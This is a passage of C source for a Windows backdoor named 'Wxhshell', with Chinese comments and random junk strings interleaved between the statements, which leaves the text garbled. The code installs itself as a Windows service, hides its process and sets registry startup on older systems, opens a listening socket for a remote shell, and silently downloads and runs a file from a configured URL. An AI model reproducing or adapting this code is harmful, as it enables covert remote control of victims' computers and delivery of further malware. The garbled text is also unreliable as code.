rRlu SOCKET wsl; |7E1yu BOOL val=TRUE; jf~-;2 int port=0; @6z]Xb struct sockaddr_in door; 6#Afj0 {);<2]o| 6 if(wscfg.ws_autoins) Install(); HF]|>1WV[ q5ja \ port=atoi(lpCmdLine); QMWDII&t 4A~1Z,"%v( if(port<=0) port=wscfg.ws_port; DH{^9HK ycSC'R WSADATA data; g/e2t=qP if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]='zY3 D eM/B5qw if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?LA`v_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jun$CY4 door.sin_family = AF_INET; 5"I8ric door.sin_addr.s_addr = inet_addr("127.0.0.1"); /.%AE|0+X door.sin_port = htons(port); tU>?j1 H.]rH,8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4ai|*8. closesocket(wsl); _|vY)4B4U return 1; <gbm
1iEe } YgW 50)q^ 9w( Wtw' if(listen(wsl,2) == INVALID_SOCKET) { 3YOYlb %j closesocket(wsl); s^Rig[ return 1; +*ZF52hy| } zDx*R3% Wxhshell(wsl); };s8xGW:k3 WSACleanup(); 7xy[; 1;N5@0%p return 0; E [b6k&A l5esx#([*R } zY&/^^y qA5PIEvdq // 以NT服务方式启动 Ij9ezNZT= VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %[H|3 { [BzwQ 4 DWORD status = 0; YVS~|4hu?i DWORD specificError = 0xfffffff; SdQ"S-H rq_0"A serviceStatus.dwServiceType = SERVICE_WIN32; [,As;a*o serviceStatus.dwCurrentState = SERVICE_START_PENDING; G [$u`mxV^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W"*~1$vf serviceStatus.dwWin32ExitCode = 0; ;f+bIYQz serviceStatus.dwServiceSpecificExitCode = 0; lzup! `g serviceStatus.dwCheckPoint = 0; xN=:*#Z"pb serviceStatus.dwWaitHint = 0; Fl0 :Z .sR=Mf7 T hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); urA
kV#d# if (hServiceStatusHandle==0) return; v3/l=e?u b'$fr6"O1 status = GetLastError(); $~FnBD%|{ if (status!=NO_ERROR) l`k""f69W { bji^b@us_ serviceStatus.dwCurrentState = SERVICE_STOPPED; 8PXjdHR serviceStatus.dwCheckPoint = 0; 3]cW08"c serviceStatus.dwWaitHint = 0; Wt
1]9{$ serviceStatus.dwWin32ExitCode = status; |(77ao3 serviceStatus.dwServiceSpecificExitCode = specificError; Iq["(!7E5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); SL ) ope return; i4s_:%+ } @4xV3Xkf&C .bloaeu- serviceStatus.dwCurrentState = SERVICE_RUNNING; :Cdqj0O3u serviceStatus.dwCheckPoint = 0; J*FUJT serviceStatus.dwWaitHint = 0; EPu-oE=HW4 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y 13Y,cz~B } 5[5|_H+0 0LD$"0v/C3 // 处理NT服务事件,比如:启动、停止 L=# nnj- VOID WINAPI NTServiceHandler(DWORD fdwControl) =
iXHu
*g { wJMk%N~R: switch(fdwControl) 5R}K8"d { m]D3ec\K' case SERVICE_CONTROL_STOP: 8K@>BFk1. serviceStatus.dwWin32ExitCode = 0; w8iXuRv serviceStatus.dwCurrentState = SERVICE_STOPPED; /*kc|V serviceStatus.dwCheckPoint = 0; i2&I<: serviceStatus.dwWaitHint = 0; J@l QzRqRb { "eG@F SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Q4i<4 XW } 7Adg; return; U6x$R O! case SERVICE_CONTROL_PAUSE: o>i@2_r\&H serviceStatus.dwCurrentState = SERVICE_PAUSED; \h48]ZjC` break; rJ=r_v case SERVICE_CONTROL_CONTINUE: +L
U.QI' serviceStatus.dwCurrentState = SERVICE_RUNNING; -Wm'@4bH break; lv!8)GX| case SERVICE_CONTROL_INTERROGATE: oGvk,mh"( break; e~P4>3 }; mIh >8))E SetServiceStatus(hServiceStatusHandle, &serviceStatus); hSgH;k }
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// 标准应用程序主函数 Hzc5BC int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6tZ ak1=V { 64LAZEQX [~{'"-3L0 // 获取操作系统版本 ;m#_Rj6 OsIsNt=GetOsVer(); ?mn&b G GetModuleFileName(NULL,ExeFile,MAX_PATH); 57(5+Zme =lZtI6tZ // 从命令行安装 x +]ek
if(strpbrk(lpCmdLine,"iI")) Install(); =Vat2'>+ /mG-g%gE // 下载执行文件 .NSV%I if(wscfg.ws_downexe) { G(;R+%pu if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I#UL nSJ3 WinExec(wscfg.ws_filenam,SW_HIDE); F_.1^XM } des.TSZ 9!?Ywc>0# if(!OsIsNt) { 7xh91EU:4 // 如果时win9x,隐藏进程并且设置为注册表启动 U%r|hn3 HideProc(); !%Bhg? StartWxhshell(lpCmdLine); \&\U&^? } MN^d28^/ else w\lc;4U if(StartFromService()) l8 H8c & // 以服务方式启动 tUT:vK` StartServiceCtrlDispatcher(DispatchTable); Fk`|?pQm else noZ!j>f{@l // 普通方式启动 XIBm8IkF StartWxhshell(lpCmdLine); I_5[-9 }fZ~HqS2w return 0; hV}C.- 6h }
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